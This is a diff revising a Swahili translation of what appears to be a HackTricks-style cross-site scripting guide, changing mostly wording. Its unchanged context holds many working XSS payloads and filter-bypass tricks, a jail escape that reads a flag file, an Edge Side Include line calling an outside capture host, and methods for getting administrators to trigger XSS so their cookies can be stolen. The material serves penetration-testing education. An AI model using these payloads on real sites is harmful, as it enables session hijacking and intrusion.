JavaSCript:alert(1)
|
||||
|
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Mahali ambapo unaweza kuingiza protokali hizi**
|
||||
|
||||
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika lebo yoyote inayokubali sifa ya `href`** na katika **zaidi ya** lebo nyingi zinazokubali **sifa ya `src`** (lakini si `<img>`)
|
||||
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika lebo yoyote inayokubali sifa `href`** na katika **zaidi ya** lebo nyingi zinazokubali **sifa `src`** (lakini si `<img>`)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -355,7 +355,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Njia nyingine za kuficha**
|
||||
|
||||
_**Katika kesi hii, hifadhidata ya HTML na hifadhidata ya Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
|
||||
_**Katika kesi hii, mbinu ya usimbuaji wa HTML na usimbuaji wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
|
@ -385,7 +385,7 @@ Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
|
||||
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" and rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -409,9 +409,9 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS katika "Madaraja Yasiyoweza Kutumika" (kuyaficha, kiungo, kanuni, meta)
|
||||
### XSS katika "Vitambulisho visivyoweza kutumika" (kazi ya siri, kiungo, kanuni, meta)
|
||||
|
||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya kuyaficha:**
|
||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia kazi za siri kwa:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -432,7 +432,7 @@ From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Un
|
|||
|
||||
### Kupita kwenye Orodha ya Mambo Yasiyokubalika
|
||||
|
||||
Hila kadhaa za kutumia uandishi tofauti tayari zimeonyeshwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
|
||||
Hila kadhaa za kutumia uandishi tofauti tayari zimefunuliwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
|
||||
|
||||
* **Uandishi wa HTML (vitambulisho vya HTML)**
|
||||
* **Uandishi wa Unicode (inaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
|
||||
|
@ -450,7 +450,7 @@ Soma [Orodha ya Mambo Yasiyokubalika ya JavaScript ya sehemu ifuatayo](./#javasc
|
|||
|
||||
### CSS-Gadgets
|
||||
|
||||
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufunguliwa.
|
||||
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanyika.
|
||||
|
||||
Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
|
@ -462,7 +462,7 @@ na
|
|||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Sasa unaweza kubadilisha kiungo chetu na kukileta katika mfumo
|
||||
Sasa unaweza kubadilisha kiungo chetu na kukileta katika fomu
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
|
@ -519,7 +519,7 @@ loop``````````````
|
|||
```
|
||||
### Mbinu za kupita orodha za mblacklist za JavaScript
|
||||
|
||||
**Mifumo ya maneno**
|
||||
**Mifumo**
|
||||
```javascript
|
||||
"thisisastring"
|
||||
'thisisastrig'
|
||||
|
@ -735,8 +735,8 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **Vikosi vya DOM**
|
||||
|
||||
Kuna **kodiyaki ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyaki ya JS isiyo na mipaka.\
|
||||
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, vimehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
|
||||
Kuna **kodiyaki ya JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyaki ya JS isiyo na mipaka.\
|
||||
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -749,7 +749,7 @@ Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelez
|
|||
|
||||
### Cookie XSS
|
||||
|
||||
Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa utapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
|
||||
Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
|
@ -757,13 +757,13 @@ Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni
|
|||
|
||||
Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Kutuma kikao chako kwa msimamizi
|
||||
### Kutuma kikao chako kwa admin
|
||||
|
||||
Labda mtumiaji anaweza kushiriki profaili yake na msimamizi na ikiwa self XSS iko ndani ya profaili ya mtumiaji na msimamizi anapofikia, atachochea udhaifu huo.
|
||||
Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea udhaifu huo.
|
||||
|
||||
### Kurefusha Kikao
|
||||
|
||||
Ikiwa utapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili msimamizi akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
|
||||
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin kusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
|
||||
|
||||
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
|
||||
|
||||
|
@ -771,7 +771,7 @@ Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao cha
|
|||
|
||||
### Unicode Iliyosawazishwa
|
||||
|
||||
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawazishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii vibaya ili kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawasishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
|
||||
```javascript
|
||||
|
@ -820,11 +820,11 @@ Kisha, sifa ya onfocus itaingizwa na XSS inatokea.
|
|||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS na uingizaji kichwa katika jibu la 302
|
||||
### XSS na kuingiza kichwa katika jibu la 302
|
||||
|
||||
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo na mipaka**. Hii **si rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting ni bure.
|
||||
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa.
|
||||
|
||||
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
|
||||
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote kati yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
|
||||
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
|
||||
|
||||
### Herufi, Nambari na Nukta Pekee
|
||||
|
@ -865,6 +865,8 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
The answer is:
|
||||
|
||||
* **module** (default, hakuna cha kuelezea)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles ni kipengele ambacho unaweza kufunga kundi la data (HTML, CSS, JS…) pamoja katika faili **`.wbn`**.
|
||||
```html
|
||||
|
@ -893,9 +895,9 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuitumia vibaya inaweza kusababisha XSS.
|
||||
Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -920,7 +922,7 @@ Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/ma
|
|||
* application/xml
|
||||
* text/xml
|
||||
* image/svg+xml
|
||||
* text/plain (?? si kwenye orodha lakini nadhani niliiona hii katika CTF)
|
||||
* text/plain (?? si katika orodha lakini nadhani niliiona hii katika CTF)
|
||||
* application/rss+xml (off)
|
||||
* application/atom+xml (off)
|
||||
|
||||
|
@ -938,7 +940,7 @@ Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria names
|
|||
```
|
||||
### Mifumo Maalum ya Kubadilisha
|
||||
|
||||
Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinatumika. Mshambuliaji anaweza kutumia [**mifumo maalum ya kubadilisha nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kujaribu kupita baadhi ya ulinzi: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinatumika. Mshambuliaji anaweza kutumia [**mabadiliko maalum ya nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kujaribu kupita baadhi ya ulinzi: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika ku **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
|
||||
|
||||
|
@ -950,7 +952,7 @@ Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)
|
|||
|
||||
### Kutoroka kwa XS Jails
|
||||
|
||||
Ikiwa una seti ndogo tu ya herufi za kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
|
||||
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
|
@ -1338,25 +1340,25 @@ Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS!
|
|||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### XSS kwa SSRF
|
||||
### XSS hadi SSRF
|
||||
|
||||
Una XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hiyo kuwa SSRF** kupitia Edge Side Include Injection na payload hii:
|
||||
Una XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hiyo hadi SSRF** kupitia Edge Side Include Injection na payload hii:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Tumia ili kupita vizuizi vya kuki, vichujio vya XSS na mengi zaidi!\
|
||||
Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Use it to bypass cookie restrictions, XSS filters and much more!\
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS katika PDF inayoundwa kwa dinamik
|
||||
|
||||
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
|
||||
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
|
||||
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kuitumia** tabia hii kusababisha **Server XSS**.
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ikiwa huwezi kuingiza vitambulisho vya HTML inaweza kuwa na faida kujaribu **kuingiza data za PDF**:
|
||||
Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data za PDF**:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
|
@ -1364,7 +1366,7 @@ Ikiwa huwezi kuingiza vitambulisho vya HTML inaweza kuwa na faida kujaribu **kui
|
|||
|
||||
### XSS katika Amp4Email
|
||||
|
||||
AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha vitambulisho vya HTML vilivyoongezwa na JavaScript ili kuhakikisha utendaji kwa kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha HTML tags zilizoimarishwa na JavaScript ili kuhakikisha kazi na kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Muundo wa [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengele maalum vya AMP kwa barua pepe, na kuwapa wapokeaji uwezo wa kuingiliana na maudhui moja kwa moja ndani ya barua zao pepe.
|
||||
|
||||
|
@ -1444,9 +1446,9 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolishi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|